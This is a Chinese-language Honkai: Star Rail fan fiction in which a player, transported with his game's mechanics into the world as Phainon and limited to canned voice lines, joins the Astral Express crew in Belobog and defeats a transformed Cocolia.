《【崩铁】行于麦香之梦》 1. 游戏机制百分百(一) 【PS:观前提醒,本篇完结于V3.5版本更新前,设定有出入】 001 坏消息,穿越了,穿越到了星神莫测令使遍地人均徒手爆星的崩铁宇宙。 好消息,带着星穹铁道游戏账号穿越的。 【抉择:百分百继承游戏机制or适配崩铁宇宙规则】 “继承游戏机制,是指复活、传送、背包、食物效果各种离谱机制都可以继承那种?” 【回答:正确】 玩家倒吸一口凉气,坚定道:“我选继承游戏机制。” 【请求:五星好评】 玩家大手一挥,潇洒地给本次穿越服务填上了五星好评。 002 失策了。 所谓的百分百继承游戏机制竟然不是虚假宣传,无论优缺点一并继承。 你至少把自由说话的权利给我吧? 只能说角色语音真的不会被当成神经病吗?! 玩家站在崩铁名胜打卡点-贝洛伯格外的冰天雪地里,仰头望天无语凝噎,哦,该庆幸他还能仰头望天吗,这说明所谓的百分百继承游戏机制并不是绝对严谨的——万一只能做待机动作那才叫天不应叫地不灵。 他悲伤地向前走了两步,很快就卡在一个微微凸起的雪堆前开始原地踏步,明明只是抬腿就能迈过去的高度,却像是遇到了琥珀王坚不可摧的城墙一样无法前进。 不会吧哥们? 这对吗,竟然还把他能蹦能跳的膝盖给扣了? 003 玩家翻出了自称“穿越指引”系统的售后联系方式,心中咔咔咔一顿码字,把自己刚穿越就遇到的一沓离谱情况全部控诉一遍,并点击发送。 【自动回复:已收到您的反馈,正在积极处理,因工作量较大,将在33550336系统时内给予您回复。】 玩家:你这个处理时间是不是在刀我? 【自动回复:已收到您的建议,正在积极处理,因工作量较大,将在1397931标准日内给予您回复。】 玩家:你以为你除了个24我就看不出来了吗? 玩家:我要取消五星好评。 【回答:哎呀真巧,正好有空看到了您的反馈,亲亲,您有什么需求吗?】 玩家和穿越指引系统进行了一场酣畅淋漓的协商,嘴皮子磨得大道都破灭了,最终在艰难的二选一中舍弃声带,选择了放宽角色行动、表情限制的条件并顺便要回了自己的膝盖。 【回答:感谢亲亲的理解,祝愿我们再也不见哦~】 玩家:呵呵。 【自动回复:已收到您的反馈,正在积极处理,因工作量较大,将在1397931标准日内给予您回复。】 玩家:…… 004 清晨,城郊雪原。 “点燃黎明!” 身穿异域蓝白服饰的青年抬手召唤出黑红色的星环空洞,看着蓝色冰晶凝结般的飞鸟状怪物在空洞中消失,表情平淡,眼神微死。 放技能一定要把技能语音念出来吗?静音键呢,我静音键在哪? 为什么手机(系统)界面里把音量调整为零会变成我完全听不到外界的声音,而不是我不发出声音,这和掩耳盗铃有什么区别? 裂隙怪物掉落的材料自动存入背包,顶着白厄外貌的玩家叹了口气,拿出传信石板(手机)点开派遣界面,领取了自动收集的“气态流体”和“种子”,这两样材料正好可以合成能恢复秘技点的奇巧零食,方便【白厄】开秘技直接秒怪。 穿越的第一天,他和系统协商拉扯得天昏地暗,要回膝盖后原地刨了个雪坑把自己埋起来就休息了——感谢角色没有寒冷值设定,虽然体感有点冷但完全不怕冻。 穿越的第二天,他转悠了好几圈选定一只落单的炎华造物,拎起侵晨大剑就冲了上去。好消息是进战斗后并非回合制,坏消息也是进战斗后并非回合制,玩家和裂隙食物链底端的炎华造物菜鸡互啄,空有怪力没有剑术,最后炎华造物大抵是被侵晨宽厚的剑面活活拍死的。 穿越的第三天,【白厄】决定不再给救世主的名声抹黑,在雪原上前进时,遇到怪物能绕则绕,不能绕就开秘技秒掉,防止再出现把侵晨用成板砖的情况。 至于为什么选择白厄,玩家是仔细思考过的。 首先,穿越指引系统提供的外挂数据继承自玩家的崩铁账号,而玩家是个崩铁躺平式玩家,没有周年庆和大福利一般不上线,直到最近崩铁3.4版本更新才回坑推主线,角色池浅且男角色有限,可选择的不多。 什么,你说女角色?谢谢,玩游戏时不介意隔着屏幕欣赏,但自己变身小姐姐还是免了,臣妾真的做不到啊。 其次,穿越指引系统虽然号称外挂对游戏机制的复刻是99%——剩下的1%是玩家极力要回去的膝盖——但实际问题在于玩家只有一个,他的队伍里不知为何做不到挂满四个人来回切换,而是只能挂一个人。 只能挂一个人,那这个人最好抗揍耐活武力高强,秘技可以秒杀小怪、终结技自带自回血的白厄自然脱颖而出。 最后,玩家不清楚星穹列车的开拓者们目前把主线推到了什么进度,比起概率出现两个外貌相同的人撞在一起的情况,还是翁法罗斯的角色更有优势,因为认识他们的开拓者大概率被困在翁法罗斯出不来,不认识的绝对不认识。 额,除了来自崩三的□□.杨可能会有点想法,但他一路上要遇到那么多相似而不同的熟人,应该问题不大。 综上所述,玩家选择顶着白厄的样貌在雪原赶路。 穿越后的崩铁宇宙是真实的世界,游戏地图上看似不远的距离换算到现实世界十分遥远,【白厄】跑了两天才刚看到贝洛伯格的影子,这还要归功于他可以无须休息无须进食一直高速奔跑的赶路,换作其他人恐怕要走上一周——神奇的命途行者除外。 雪原渺渺,除了零星散落的怪物外荒无人烟,【白厄】既无人相伴也无人交谈,甚至连自言自语都做不到,穿越的新奇感过后心情不自觉一路走低,直到遥遥看见宏伟壮丽的贝洛伯格时才重新振奋起来。 他从未如此刻一般理解文明的烟火是多么令人感动。 这时,纯白的雪地尽头隐隐出现一灰、一粉、一青三个豆粒似的人影。 这个配色……是星穹列车的开拓者们? ** 005 【白厄】心想:真巧啊。 穿越指引系统大抵是随手把他丢在了茫茫雪原的一处,他赶路的方向和花费的时间也充满随机性,即使如此,竟然也能正好遇到星穹列车一行人。 不过,无论是不是真的巧合都无关紧要。【白厄】毫不犹豫地调整方向,向着那三道人影跑了过去。 雪原之中,刚刚踏上冰雪大地的三个人正在四处张望,粉蓝色的少女兴致勃勃道:“还真是冰天雪地呀……咦,丹恒?” “有人过来了。”丹恒召出击云长枪,准确地看向一个方位,目光锋利。 “有人过来了。”灰发的少女随之转向,抱起手臂一本正经地重复道。 三月七吐槽道:“复读机啊你!不对不对,这次这么快就遇到当地人了吗?还是特意奔着咱们来的。” 话虽如此,三人却没有回避的意思,一道淡定两道好奇的目光投向远处,看着雪原上升起一道滚滚雪浪。身穿异域蓝白服饰的青年迅速靠近,注意到丹恒手中的长枪后又在安全距离外止步。 青年白发蓝瞳,表情温和,似乎并无恶意。 想到星穹列车的领航员姬子在出发前嘱咐他们好好进行开拓之旅,开拓三人组凝神静气,不约而同地选择等待陌生青年说话。 【白厄】:“……” 开拓者们:“……” 【白厄】拼命眨眼,试图传达出自己的意思。 灰发的开拓者星沉默两秒,恍然大悟,也开始拼命地眨眼睛。 三月七看看【白厄】再看看星,表情茫然:“你们怎么了,是雪粒落在眼睛里了吗?” 丹恒伸手扶额,叹气道:“不,我猜他们在进行‘谁眨眼更快’的比赛。” 最终,【白厄】仗着游戏角色似人非人没有生理反应的特性取得了胜利,星捂着泪水模糊的眼睛挫败倒地,很快又振作起来,信誓旦旦道:“等我苦练神功至大成,一定会赢回来的。” 【白厄】 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“哀丽秘榭的白厄,向你致意。”【白厄】很想把话说到这里为止,可惜名为“白厄-初次见面”的语音必须全部说完,“同为奥赫玛的异乡人,相聚即为缘分。随我来,说不定我们以后还有并肩作战的时候。” 星恍然道:“所以这里叫奥赫玛。” 不,这里叫贝洛伯格。【白厄】绝望地想着,逃避的仰头望天,重复道:“哀丽秘榭的白厄,向你致意。同为奥赫玛的异乡人,相聚即为缘分。随我来,说不定我们以后还有并肩作战的时候。” 三月七愣了愣:“哎?为什么又说了一遍?” 丹恒微微皱眉,似乎想到了什么。 【白厄】无法回答,木然重复道:“哀丽秘榭的白厄,向你致意。同为奥赫玛的……” 这次,三人组都发现了不对劲,【白厄】眨了眨眼,拼命暗示。 “三月,星,别再问了。”丹恒说完,对着【白厄】道,“我会问你一些问题,你只需要点头或者摇头,可以吗?” 不愧是靠谱的丹恒老师!【白厄】感动地点了点头。 丹恒问道:“你只能说这句话?” 【白厄】摇头。 丹恒:“有人胁迫你?” 【白厄】摇头。 丹恒换了个稍有放松的姿势,问道:“你受到了某种限制,不能自由讲话?” 【白厄】眼睛一亮,用力点头。 “认知清晰,可以交流,应该只是单纯的语言受限。”丹恒道,“可以写字吗?” 对哦,我怎么没想到。【白厄】走开几步,找了块未被脚印覆盖的雪地,写下“可以”两个字,然后忽然沉默。 他抬起头看向开拓三人组,三月七和星看向丹恒,丹恒辨认了一下,摇头道:“很遗憾,我不认识这种文字。” 【白厄】心想:果然如此。 崩铁宇宙基本做到了语言互通,互通基础是一种名为“联觉信标”的奇妙装置。具体词条解释他记不清了,但印象里这种装置主要作用于“语言”,对生僻文字是无效的。 【白厄】沮丧两秒,很快又振作起来,他在雪地上画了个大圆圈,又画了三颗落下的星星,然后指一下星星再指一下三位开拓者。 星看了一眼,翻译道:“你知道我们来自天外?” 【白厄】点头,在三颗星星不远处又画了一颗落下的星星,指了指自己。 星:“你也来自天外?” 【白厄】露出笑容,他站起来拍了拍手,分别指了指三人衣物上别着的星穹列车车票,然后做了个求助的手势。 星点头道:“你认出了我们是星穹列车的无名客,想要寻求帮助。” 【白厄】感动地握住了星的双手,星用力回握,然后忽然露出一个笑容。 星清晰地说:“叫姐姐。” 【白厄】松手,用眼神传达话语:“不,只能是兄妹。” 两人背后升腾起烈焰般具象化的熊熊斗志。 丹恒:“……” 他叹了口气。 三月七抬起相机咔嚓拍了张照片,踮着脚尖拍了拍丹恒的肩膀,道:“虽然搞不清他们到底在较什么劲,但也挺有意思的,这也是开拓,对吧?” 2. 游戏机制百分百(二) 007 虽然过程有些曲折,但结果没问题,他成功混进了星穹铁道一行人中。 【白厄】拒绝了丹恒提出的先把他送到星穹列车的提议,表示自己在雅利洛Ⅵ号的开拓之旅中也许、可能、大概会帮上忙,好吧,其实是他作为玩家天然没有后顾之忧,对现实中的贝洛伯格十分好奇,自然不想错过亲自开拓的好机会。 丹恒、星、三月七凑在一起商量几句,迅速达成一致,飞快地接纳了额外的旅伴。 秉承着两点之间直线最短的原则,四人直线前进,很快遇到了一个凸起的雪堆,雪堆微微颤抖,似乎生怕自己不够明显。 【白厄】淡定地看着丹恒一枪从雪堆里逼出一只桑博,对方目光快速扫过四人,落在【白厄】身上时微微停顿,随即露出热情油滑的笑容来。 桑博先是语气浮夸的抱怨丹恒直接动手戳人,很快又自说自话地表示没关系,最后搓了搓手指,充满暗示意味的笑道:“几位,其实我和杰帕德长官挺熟的,你们懂的。” 乍一听似乎是“我上面有人”的意思。 桑博交谈中自然的抖落出“银鬃铁卫主力调往前线”、“贝洛伯格是唯一幸存的城邦”、“可以带路前往贝洛伯格”等消息,表现的如同一名地地道道的本地人,但其真实身份是行走于欢愉命途的假面愚者。 假面愚者中的大多数是为了追求欢愉到处拱火挑拨的疯狂乐子人,相比之下,桑博在假面愚者中还算有底线的那个,他大概率是故意在此处截住开拓者们,整体来说并无恶意。 于是【白厄】安静地站在一旁吃瓜看戏,没有插入话题的意思。 谁知桑博话题一转,看向【白厄】,笑道:“这位小哥很是沉默,老桑博甚至不知道你的名字,多个朋友多条路,不如我们认识认识?” “你也没有问我们的名字啊。”三月七截住话题,道,“记好了,本美少女叫作三月七,他叫白厄,这是星,这是丹恒。” “桑博.科斯基,幸会。”桑博以手抚胸弯腰行礼。 众人边聊天边继续向贝洛伯格前进,桑博状似无意的抛出各种信息继续凹自己“倒卖古代遗物”的灰色小贩人设,同时不着痕迹的带偏路线。【白厄】一边听桑博给各种上周生产的古董编出商周的野史故事,一边在小地图上瞄了一眼。 很好,他们马上就要和一队红点——大概率是银鬃铁卫——撞上了。 008 “发现嫌疑人和他的同伙,立即逮捕!” “此时不跑,更待何时,交给你们啦,朋友!” 桑博转身就跑,却被“唰”的拦在面前的大剑剑面挡住去路,【白厄】手持侵晨,对他露出微笑。只是瞬间的耽搁,银鬃铁卫已经完成合围,桑博若还想端着自己的小人物人设,必不可能操起武器强行杀出重围了。 “哎哟,都是误会,误会,不过事已至此,还是要麻烦各位了,老桑博我可打不过银鬃铁卫。”桑博眼珠一转,丝滑地躲进了四人中间。 “你这家伙,是不是坑了我们?我们莫名其妙地就变成嫌犯了喂。”三月七见解释不清,只好召出弓箭,在周身凝结出粉蓝色的六相冰。 星掏出球棒,显得跃跃欲试,丹恒面色无奈,横起击云长枪。 “嫌犯拒不配合,动手!”银鬃铁卫的小队长命令道。 “是!”伴随着整齐的应诺声,铁卫们的长矛带着凛凛寒风袭来。 【白厄】握紧侵晨大剑,呼出一口气,架住几根长矛,自侵晨上传来的力道没有预料中那般沉重,他稍微用力甩开长矛,横过侵晨避开剑锋,用剑面把袭来的银鬃铁卫拍飞。 铁卫落入积雪,溅起一蓬雪粉,挣扎两下没爬起来。 【白厄】停顿一下,大剑再拍出时力道放轻了不少。 一支银鬃铁卫小队显然不是众人对手,很快七零八落倒了一地,星把球棒扛在肩膀上,蹲下来戳了戳被六相冰冻住的铁卫小队长,煞有介事道:“现在,可以听我们解释了吗?” 冰层里的小队长用力瞪着星,说不出话。 “你别跑,还没和你算账呢。”三月七拦住了准备开溜的桑博。 就在此时,天空中响起呼啸风声,丹恒反应极快地用击云挡开落下的黑影,黑影重重插入积雪中,原来是一面厚重的盾牌。 “我是银鬃铁卫戍卫官杰帕德.朗道,命令尔等放弃抵抗,交出蓝头发的主犯!”身穿全副盔甲的戍卫官紧随其后,单手拎起盾牌,表情肃然。 “谁和他是一伙的?”三月七道,“你看他这时刻抓住机会开溜的样子,哪里像同伴?我们只是好心把人从雪堆里救出来,结果被利用起来对付你们了。” 杰帕德表情微微松动,但仍坚持道:“我并非仲裁团,市民,你们可以在回到贝洛伯格后为自己辩论,现在,把他们都带回去。” 桑博垂头丧气道:“完了,全完了,老桑博一世英名竟在这里失手,你说你们为什么拦着我呢,都是同行,能跑一个是一个啊。” “我们才不是同行,哎,对哦。”三月七挠挠头,摸出了自己的相机,道,“我们不是贝洛伯格的市民,你看,这里有很多照片,这张就是雅利洛Ⅵ号,也就是你们的星球。” 铁卫们似乎并不相信,杰帕德挥手止住议论,接过相机翻看一番,表情愈发凝重,道:“据说很久之前,寒潮尚未降临之前,确实有天外来客抵达……这不是我们能裁定的事情了。外来者们,请随我来,这件事需要贝洛伯格的大守护者做出判断。” “不是,你们真的不是贝洛伯格人呐?”桑博还在凹人设,“几位行行好,看在指路情谊的份上顺便捞我一把,我也没做什么伤天害理的事情啊。” 杰帕德闻声看过来,冷酷道:“至于这个蓝头发的主犯,按规矩押送回贝洛伯格,等待仲裁团裁断。” 桑博:“不要啊!” 009 众人自风雪中抵达了最后的存护之城,因为有杰帕德领头,顺利地通过关卡进入城内。 【白厄】状似好奇的走到界域定锚旁边摸了摸,看着小地图上点亮的锚点,心中松了口气,一朝穿越所有锚点都要重新点亮,在真正点亮界域定锚之前,他还挺担心不靠谱的穿越指引系统又搞出货不对版的问题的。 七百年前,来自天外的怪物席卷了这颗星球,危急存亡之秋之际,寒潮汹涌而来,将怪物与原住民一同埋葬。最初的幸存者们在冰雪中修筑了最后的存护之城贝洛伯格,一代又一代地对抗裂隙与裂隙怪物,存护至今。 杰帕德向众人稍微科普了下这座信仰存护星神克里珀的城邦,道:“克里珀堡垒也是大守护者的住处,可可利亚.兰德大人是城内一切重大决策的颁布者,我这就带你们去见可可利亚大人,她的时间宝贵,所以偏好言简意赅的汇报。” 戍卫官无视了三月七和星的梳洗要求,行动力极强地把人带进了堡垒。门扉之内,隐隐传出破碎的争吵声,很快,一名银鬃铁卫打扮的少女沉默走出,脸上仍有气愤的红晕残留。 “布洛妮娅大人。”杰帕德说。 “叫我的名字就好。”布洛妮娅扫视了众人一眼,欲言又止,很快便离开了。 可可利亚端庄地站在高台之上,注视着推门而入的四位天外来客,她命令杰帕德离开,表情平静,又若有所思。 星和丹恒自然的和大守护者进行交涉,可可利亚似乎并不怀疑众人天外来客的身份。 “裂界与寒潮都是星核带来的灾难,大家的利益是一致的,不封印星核,我们也无法离开这颗星球。”丹恒说。 “你们……有办法封印那个叫星核的东西?”可可利亚看起来有些动摇。 深蓝色的冰晶在她手臂上蔓延,洁白的霜雪取代了人类的脸庞,空气中响起了呢喃而纷乱的话语,【白厄】微微一怔,凝神看去时,可可利亚又是正常人的样子了。 呢喃声并未停歇。 “骗子……他们在骗你……” “我相信各位,如果现状与所谓星核 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一个是现在就折返回去,趁着可可利亚身边守卫不多来个擒贼先擒王,什么开拓主线什么艾利欧剧本,邪道速通才是王道。 考虑到自己的语言交流能力约等于半身不遂,【白厄】决定折中一下,等众人走出克里珀堡垒和杰帕德道别、打算四处逛逛时,拉住星的衣带,把大家带到了一处偏僻角落。 “怎么了怎么了,神神秘秘的。”三月七说。 【白厄】指了指克里珀堡垒,说出狂翻语音表找到的语音:“不好对付的家伙,我先去试试深浅。” “诶?”这是三月七。 “你发现了什么,可可利亚有问题?”这是思绪电转的丹恒。 “又到你说我猜的环节了吗?”这是兴致勃勃的星。 【白厄】指了下杰帕德告知的、有裂隙侵蚀现象的小巷方向,再指向克里珀堡垒,说道:“一鼓作气,解决它。” 三月七选择看向靠谱的丹恒老师,丹恒看向星。 星沉思两秒,自信满满道:“我明白了,用裂隙侵蚀贝洛伯格的计划是可可利亚制定的!她就是星核,我们只要干掉可可利亚,贝洛伯格就得救了。” “我怎么没听说哪个星核能长腿跑掉,大守护者怎么会是星核。”三月七吐槽道。 星睁大了清澈的眼睛,真诚道:“有啊,我就是。” 丹恒拉住话题,猜测道:“裂隙、星核、大守护者……你的意思是,可可利亚并非对星核一无所知,甚至,她被星核影响了?” 【白厄】点头,对着丹恒竖起大拇指。 “谈话时可可利亚确实一直在看空白的地方,好像那里站着人,出门时我还听见她和一个稀奇古怪的影子在说话。”星看向【白厄】,好奇地问道,“你能感知星核的痕迹,是身体里也被塞了一颗星核吗?” 【白厄】无奈地看了一眼毫无戒心、忽然自曝身体里有星核的开拓者,摇了摇头,又伸手指向克里珀堡垒,试探道:“不好对付的家伙,我先去试试深浅。” “不,要去一起去。”丹恒道,“我们是一起来到贝洛伯格的,即使你一个人去,后果也是我们一起承担,不如一同行动,多一份助力。” “啊,这次进程这么快,我们要主动上通缉名单了?”话虽如此,三月七说完就摸出了弓箭,“放心啦白厄,本姑娘也是很能打的。” 星召出球棒,道:“银河球棒侠,出击!” 开拓三人组三言两语敲定了勇闯克里珀堡垒的计划,计划的提起人【白厄】有些猝不及防,他挠挠头,有些意外三人这么轻易地相信了他。不管怎么说,可可利亚都是贝洛伯格乃至雅利洛Ⅵ号目前的最高统治者,【白厄】原以为,至少丹恒会更稳重一些。 不过……这也不是坏事。 【白厄】扫清心中杂念,点头道:“一鼓作气,解决它!” 3. 游戏机制百分百(三) 011 传信使者通报,天外来客去而复返。 可可利亚刚和星核之声拉扯完毕,正闭目养神,闻声睁开眼睛,露出了稍显锋利的疑惑神色:他们为何回来,是拆穿了自己虚假的安抚,抓住了破绽? 稍作权衡,可可利亚命令道:“带他们进来。” 一行四人看似正常地走了进来,白发蓝瞳的青年落后一步,而灰发的开拓者又走得太过靠前,四个人几乎拉成一条长线。 可可利亚并未因此产生确切的想法,却因过往经验嗅出危险的气息,她毫不犹豫地相信了自己的本能,张开口:“不对!戒备……” 风声呼啸而来。 星抡起球棒打飞两侧的侍卫,六相冰顺着护卫的脚腕向上蔓延,丹恒脚尖一点,自开拓者开辟的通路笔直向前,击云锋利的枪尖抵住大守护者的喉咙,将未尽的言语尽数逼停。 【白厄】猛然回身合拢大门,召出侵晨以剑面把门边的护卫拍飞,他挑起一根银鬃铁卫制式兵器随手削断,反手将之当作门闩架在了门户之上,暂时拦住了门外的援兵。 “不许动。”丹恒将击云架在可可利亚的脖颈边,冷冷地说。 012 【白厄】目送最后一名守卫退出大厅,利落地合拢大门,把自制门闩卡在门扇上。 “你们想要什么?”可可利亚冰冷地看着守卫全部退出,情绪起伏不知为何异常激荡,表情微微扭曲,“呵,自称提供帮助的天外来客,你们的行为可不如你们说得好听。” “我们正在提供帮助。”星挥了挥球棒,“别隐藏了,把星核交出来。” 可可利亚恍惚了一下,呢喃道:“你们的目标,果然是星核。” 空气中响起模糊的低语,在【白厄】的视角下,大守护者的瞳孔正在不正常地颤抖,深蓝色的结晶在她眼角蔓延出诡异的痕迹。 不对……【白厄】心中一动,快步走向高台。 “可可利亚阁下,我们无意挑起争端。”丹恒说,“星核是‘万界之癌’,势必随裂隙吞没整个文明,无论它向你许诺了什么,都绝非善意。” 可可利亚忽然沉默,然后,她低低地笑了起来,笑声越来越大。 她说:“可笑!天外来客,你们什么都不知道,还敢说出如此荒谬的结论。” 深蓝色结晶的生长速度陡然加快,转眼吞没了半张人类脸庞,【白厄】三步并作两步靠近,一手刀在可可利亚的脖颈处砍了下去。 咔嚓。 冰层破碎般的声音响起,可可利亚看似正常的人类皮肤蔓延出细碎裂痕,裂痕里散出深蓝的光。丹恒表情一变,推开【白厄】,同时向后退去。 “闪开!” 层叠的冰晶轰然炸开,吞没可可利亚后向四处飞溅,【白厄】闪躲及时,但仍有一片碎冰划过脸侧,他不动声色地擦去外溢的血液,看见指尖染上金黄。 视野之内,秘技点的图标悄然隐没,普攻、战技、终结技的图标取而代之,代表生命值的长条落下一丝,血量-1。 这是进入战斗模式了。 也就是说…… 【白厄】向着层叠冰晶的中心看去。 咔嚓咔嚓的声响里,有光穿过冰晶向外迸发,新生的怪物自冰中破壳,尽情地舒展身体,发出一阵阵满溢喜悦与憎恶的笑声。 可可利亚.虚妄之母,掌握了虚数力量的裂隙歌者,就此现世。 013 【白厄】表面冷静地看着可可利亚,心中却是万马奔腾。 糟了,这下真要速通贝洛伯格了。 不对!星核不是在极北之地吗,怎么可可利亚在克里珀堡就变身boss了?这里也没有足够多的裂隙能量外溢把人类同化成怪物啊! 空气中仍回荡着许多呢喃絮语,切切察察如秋日风中的落叶,【白厄】来不及深思问题出在哪里,单手举起侵晨立在身前,蓝色眼瞳中,日轮的烙刻亮起淡金微光。 单从裂隙怪物推断,现实世界的怪物强度和游戏强度大致正相关,可可利亚.虚妄之母是周本boss,克里珀堡垒又没有造物引擎的天降铁拳助力(剧情杀),维持白厄的常规状态,恐怕打不过可可利亚……不知道开拓三人组能不能接受他激活终结技掏心变身? 在他思索间,呼啸寒风席卷大厅,令堆叠的文件资料漫天散落。森寒幽蓝的冰晶骨爪插入地面,向外激荡起一圈圈波纹。 【白厄】没有闪避,举起侵晨格挡飞射的冰晶利箭,而后抡起大剑:“为了明天!” 终结技图标上,十二火种点亮四枚。 “徒劳地挣扎……”可可利亚抬手挡住侵晨剑锋,簌簌冰晶碎裂落下,转眼又恢复如初,“没有人……阻拦!裂隙新生,才是贝洛伯格的归宿!” 冰雪如狂暴雨流倾泻而下,目标直指灰发开拓者,三月七毫不犹豫的伸手一指,六相冰凝结成抵御寒流的护盾,星冲破冰雪,用力砸下球棒,将可可利亚的冰晶冠冕折断。 “无用。”可可利亚挥手打飞开拓者,却见星翻滚卸力后露出笑容,下一秒,青色长枪自背后贯穿了怪物的胸膛,“额啊!” 怪物的惨叫化作一圈圈刺耳的声波,另一柄冰晶骨爪凝结落地,两只骨爪与可可利亚共鸣,爆发出强劲的冲击波将众人四散掀飞,而在冲击波的正中心,仍有风暴酝酿。 糟了,boss要放大招! 不能退。【白厄】迅速做出判断,顶着飞散的冰晶逆流而上,血条快速下滑的同时火种飞快点亮,因为他几乎不做格挡,所以第一个冲到了可可利亚的面前。 【白厄】凝视着怪物已经毫无人类情感的面庞,落下侵晨剑锋:“未来将至。” 至此,十二枚火种全部点亮。 014 “别冲那么快,喂,不要命啦!”三月七在寒风中努力睁开眼睛,捕捉着同伴们的身影,却因太过仓促未能准确落下六相冰凝结的护盾。 冰雪的风暴模糊了视野,克里珀堡的墙壁上结起白霜,白发青年直直地冲入风暴中心,一灰一青两道身影紧随其后。但就在这分秒之差中,异变突生。 一股强势而霸道的力量自冰雪中迸发出灼热的气浪,黑红色的数据流逆向流淌将万物尽数吞没,灼烫的金血泼洒而出,然后所有力量向内坍塌,展开黑红色的境界。 三月七只看到黑红色的空洞中,有展开双翼的陌生身影逆着光芒投来一瞥,下一秒,黑红空洞与可可利亚一同消失,原地只残留半边冰雪、半边灼痕。 星晃了晃脑袋,从地面上爬起来,环视一周只看到三月七和丹恒。 “诶,白厄……呢?”三月七说。 丹恒握紧击云,向黑红空洞消失的地方投去目光。 015 嗷嗷嗷痛痛痛! 好痛! 【白厄】下意识完成了掏心变身的流程,疼的表情扭曲眼泪狂喷,哦,不对,没有眼泪,因为眼泪刚流出来就被蒸发了。 黑金色羽翼在背后展开,灼热的力量在身体里涌动,【白厄】觉得自己现在仿佛生吞了三大碗岩浆,炽热与痛苦相互交织,只想先给自己来一剑,让苦难就此终止。 我后悔了,救世主的技能真不是一般人能用的。【白厄】心想。 荒芜残破的境界展开时吞没了【白厄】和可可利亚,但把开拓者三人排斥了出去,此时此刻,只有金发金瞳的青年和裂隙歌者对峙。 两柄冰晶骨爪间的共鸣已经积蓄到极限,可可利亚在风暴中扬起手,脸庞正对着空中飘浮的身影,似乎已经没有思考环境变化的能力,只有扭曲的声音响起。 “悖逆者,领受审判!” 在这瞬间,【白厄】迟疑了一下。 “支柱.死星天裁(高伤攻击)”的技能图标亮起又熄灭,他选中“灾厄.弑魂焚诏(减伤反击)”并发动,斜挥金血淬洗的侵晨大剑做出格挡姿态。 下一秒,层层叠叠的冲击波自两道冰晶骨爪处迸发,【白厄】静静等待攻击的间隙到来,看着血条一小段一小段下落,意外发现这点伤痛竟然比不上变身后自带的灼痛。 他无声叹气。 冰雪停歇之刻,利刃从天而降,【白厄】挥剑劈碎两柄冰晶骨爪。 他展开羽翼升上高空,居高临下地俯视着可可利亚化作的裂隙怪物,表情有些复杂,但这些情绪转瞬即逝,金瞳中的光芒很快变得坚定。 “烈阳,撕裂长空!” 无数陨石拖曳着流火自暗红天空落向荒芜大地,燃烧着毁灭的光芒。 016 “我是大守护者的继任者,布洛妮娅,天外来客,我要和你们谈谈。”少女的声音自门外响起。 一片狼藉的室内,三人你看看我,我看看你。 丹恒思索了一下,道:“可以,但只有你一个人能进来。” “布洛妮娅大人……不可……”门外略有嘈杂,但很快安静下来。 身穿银鬃铁卫服饰的少女走入门内,表情震惊,在她身后,星飞快关门并搭上门闩,无视目前的敌对关系,一点也不生疏地夸赞道:“克里珀堡的建筑质量真好,这么折腾都没塌。” “母亲大人呢?”布洛妮娅忍不住质问。 “可能落入了异常的空间结构内,我们的同伴也被一起卷了进去。”丹恒面不改色地掩盖了异空间可能是【白厄】制造的事实,“布洛妮娅小姐,我们并无恶意,如今这般,事出有因,你知道星核吗?” 三人组你一言我一语的对布洛妮娅进行了一番星核常识科普,最后,星总结道:“你们对抗的裂隙怪物都来源于星核,星核也是贝洛伯格灾难的源头,我们发现大守护者被星核蛊惑,不得已才出此下策。” “不可能,母亲大人怎么会被带来灾难的怪物蛊惑?”少女并不相信。 这时,边缘有着黑红色数据痕迹的空洞展开,【白厄】拖着半身冰晶、半身正常的可可利亚走出来,一抬头发现众人都在看着自己。 【白厄】:“……?” 017 可可利亚睁开了眼睛。 这一次,所有人都看到了她的异常,深蓝色的冰晶已经取代了她的一半身躯,维系她存活的不再是血液,而是某种奇怪的力量。 “母亲大人……”布洛妮娅上前一步,被丹恒阻拦。 “可可利亚身边的裂隙能量浓度过高,你也会被侵蚀的。” “母亲大人。”布洛妮娅深吸一口气,强行冷静下来,“他们说的是真的吗,您与伤害了我们七百年的罪魁祸首合作,和那颗星核?” 可可利亚恍惚了一下,她凝视布洛妮娅,像看一个陌生人,然后眼神又慢慢带上温度,如同自一场大梦中醒来,显出清明的思索来。 我失败了。她想,但我应该还能做点什么。 可可利亚闭了下眼,露出讥讽的冷笑来,她说:“没错,所谓存护早就抛弃了我们。风雪中的永屹之城不过是个笑话,用以取暖的地髓矿即将枯竭, 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“我不能接受。”布洛妮娅说,她越过丹恒的阻拦,轻柔的扶起可可利亚,眼中闪烁着晶莹的泪光,“母亲,贝洛伯格七百年来存护至今的信念绝非虚妄,这正是你从小教导给我的理念,我一定会找到转化成裂隙怪物外的道路,一定会保护好贝洛伯格所有的子民。” 可可利亚忽然抓紧了布洛妮娅的手臂,她嘴唇微微一动,似乎想说什么,最终露出锋利的冷笑来,说道:“好啊,那就把你那天真愚蠢的想法,证明给我看!” 深蓝冰晶叮叮当当地剥落在地,又变作点点微光升起。 布洛妮娅握着可可利亚的手,看见滴滴答答的泪珠落在地面,凝成冰晶。 丹恒拉住星和三月七,又向【白厄】招了招手,轻声说:“把最后的时间,留给她们自己吧。” 018 “哦?之后呢,又发生了什么?”姬子将咖啡杯轻轻放回托盘,微笑着询问。 布洛妮娅代理了大守护者的职位,她解除了上城区与下城区的禁令,亲自前往地髓矿脉进行勘探,她与地火成员希儿不打不相识,又将监督的权利给予了贝洛伯格的子民。 在星穹列车的帮助下,星核被成功封印,布洛妮娅正式继任大守护者后,修饰了可可利亚事件的真相,并将其公之于众。 布洛妮娅将星穹列车称作“识破怪物假扮的大守护者并见义勇为”的天外友人,于是,在那一场以挟持为起点的战斗中,结果便是星穹列车与布洛妮娅携手击败怪物,救出了可可利亚,但大守护者饱受折磨,还是离去了。 贝洛伯格的故事并未结束,上下城区的隔阂仍在冲突中逐渐消融,但这些只等待时间慢慢浇灌,等待伤口愈合,再在某一天开出花来,但这已经不再是无名客们的故事了。 “所以我们就回来啦。” 星顺手召出一把威武帅气的炎枪,摆了几个姿势。 “对了对了,这是我和大家在雪原探险时拿到的武器,当时那个大机器人‘轰’的站起来,‘啪’的砸向我们,那一秒我看见琥珀王在向我招手,然后炎枪就‘咻’的出现了!” “原来是这样。”姬子包容地说着,视线转向一旁正和□□.杨对视的白发蓝瞳青年,“那么,是时候把你们这位新交的朋友,向我介绍一下了吧?” 019 □□.杨推了推眼镜,又推了推眼镜,上下打量这名白发蓝瞳十分眼熟的青年。 【白厄】神色淡定的任他看,对视时还友好地笑了一下。 □□表情复杂地收回目光。 